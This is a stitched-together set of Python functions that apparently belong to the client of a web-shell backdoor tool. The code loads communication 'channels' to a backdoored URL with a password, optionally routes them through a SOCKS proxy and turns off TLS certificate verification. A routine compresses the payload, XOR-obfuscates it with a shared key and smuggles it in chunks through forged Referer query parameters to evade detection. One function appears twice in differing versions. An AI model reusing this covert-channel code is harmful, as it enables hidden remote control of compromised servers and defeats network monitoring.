def _additional_handlers(self): handlers = [] if self.session.get('proxy'): protocol, host, port = self._get_proxy() if protocol and host and port: handlers.append( sockshandler.SocksiPyHandler( protocol, host, port ) ) else: raise ChannelException(messages.channels.error_proxy_format) # Skip certificate checks ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE handlers.append(urllib2.HTTPSHandler(context=ctx)) return handlers
def __init__(self, channel_name, session): """ Import and instanciate dynamically the channel. Given the channel object Mychannel, this should be placed in module core.channels.mychannel.mychannel. """ module_name = channel_name.lower() try: # Import module module = __import__( 'core.channels.%s.%s' % (module_name, module_name), fromlist=["*"]) # Import object channel_object = getattr(module, channel_name) except: raise ChannelException(messages.channels.error_loading_channel_s % (channel_name)) self.session = session # Create channel instance self.channel_loaded = channel_object( self.session['url'], self.session['password'] ) self.channel_name = channel_name
def _additional_handlers(self): handlers = [] if self.session.get('proxy'): protocol, host, port = self._get_proxy() if protocol and host and port: handlers.append( sockshandler.SocksiPyHandler(protocol, host, port)) else: raise ChannelException(messages.channels.error_proxy_format) return handlers
def add_channel(self, url, password): channel_name = self.channel_name module_name = channel_name.lower() try: # Import module module = __import__('core.channels.%s.%s' % (module_name, module_name), fromlist=["*"]) # Import object channel_object = getattr(module, channel_name) except: raise ChannelException(messages.channels.error_loading_channel_s % (channel_name)) self.channel_loaded.append(channel_object(url, password))
def _load_languages(self): try: language_file = open(languages_list_path) except Exception as e: raise FatalException(core.messages.generic.error_loading_file_s_s % (languages_list_path, str(e))) languages = language_file.read().split('\n') # Language list validation, every lower ascii starting letter should be # covered import string for letter in string.ascii_lowercase: if not any([l for l in languages if l.startswith(letter)]): raise ChannelException(error_language_start_letter_s % letter) return languages
def _prepare(self, payload): obfuscated_payload = base64.urlsafe_b64encode( utilities.sxor(zlib.compress(payload), self.shared_key)).rstrip('=') # Generate a randomic seession_id that does not conflicts with the # payload chars for i in range(30): session_id = ''.join( random.choice(string.ascii_lowercase) for x in range(2)) # Generate 3-character urlsafe_b64encode header and footer # checkable on server side header = hashlib.md5(session_id + self.shared_key[:4]).hexdigest().lower()[:3] footer = hashlib.md5(session_id + self.shared_key[4:8]).hexdigest().lower()[:3] if (not header in obfuscated_payload and not footer in obfuscated_payload and not (obfuscated_payload + footer).find(footer) != len(obfuscated_payload)): break elif i == 30: raise ChannelException( core.messages.stegareferrer.error_generating_id) remaining_payload = header + obfuscated_payload + footer dlog.debug('DATA TO SEND: ' + remaining_payload) dlog.debug('HEADER: %s, FOOTER %s' % (header, footer)) referrers = [] # Randomize the order random.shuffle(self.referrers_vanilla) for referrer_index, referrer_vanilla_data in enumerate( itertools.cycle(self.referrers_vanilla)): # Separate the chunks sizes from the referrers referrer_vanilla, chunks_sizes_vanilla = referrer_vanilla_data # Clone chunk size to avoid .pop(0) consuming chunks_sizes = chunks_sizes_vanilla[:] # Separate the query from the rest referrer, query = referrer_vanilla.split('?', 1) referrer += '?' positions = [] # Loop the parameters parameters = urlparse.parse_qsl(query) for parameter_index, content in enumerate(parameters): param, value = content # Prepend & to parameters if parameter_index > 0: referrer += '&' # Add the templatized parameters if not value == '${ chunk }': referrer += '%s=%s' % (param, value) else: # Since the parameters over the ninth can't be indexed, this # Cause an error. if parameter_index > 9: raise ChannelException( core.messages.stegareferrer. error_chunk_position_i_s % (parameter_index, referrer_vanilla)) # Pick a proper payload size min_size, max_size = chunks_sizes.pop(0) if not remaining_payload: # If not payload, stuff padding payload_size = 0 padding_size = random.randint(min_size, max_size) elif len(remaining_payload) <= min_size: # Not enough payload, stuff latest payload + padding payload_size = len(remaining_payload) padding_size = min_size - payload_size elif min_size < len(remaining_payload) <= max_size: # Enough payload to fill properly the parameter, stuff # payload payload_size = len(remaining_payload) padding_size = 0 else: # Overflowing payload, cut remaining payload to the max payload_size = max_size padding_size = 0 # Add crafted parameter referrer += '%s=%s%s' % (param, remaining_payload[:payload_size], utilities.randstr(padding_size)) # If some payload was inserted, add position and cut # remaining payload if payload_size: positions.append(parameter_index) remaining_payload = remaining_payload[payload_size:] referrers.append((referrer, positions)) if not remaining_payload: break return session_id, referrers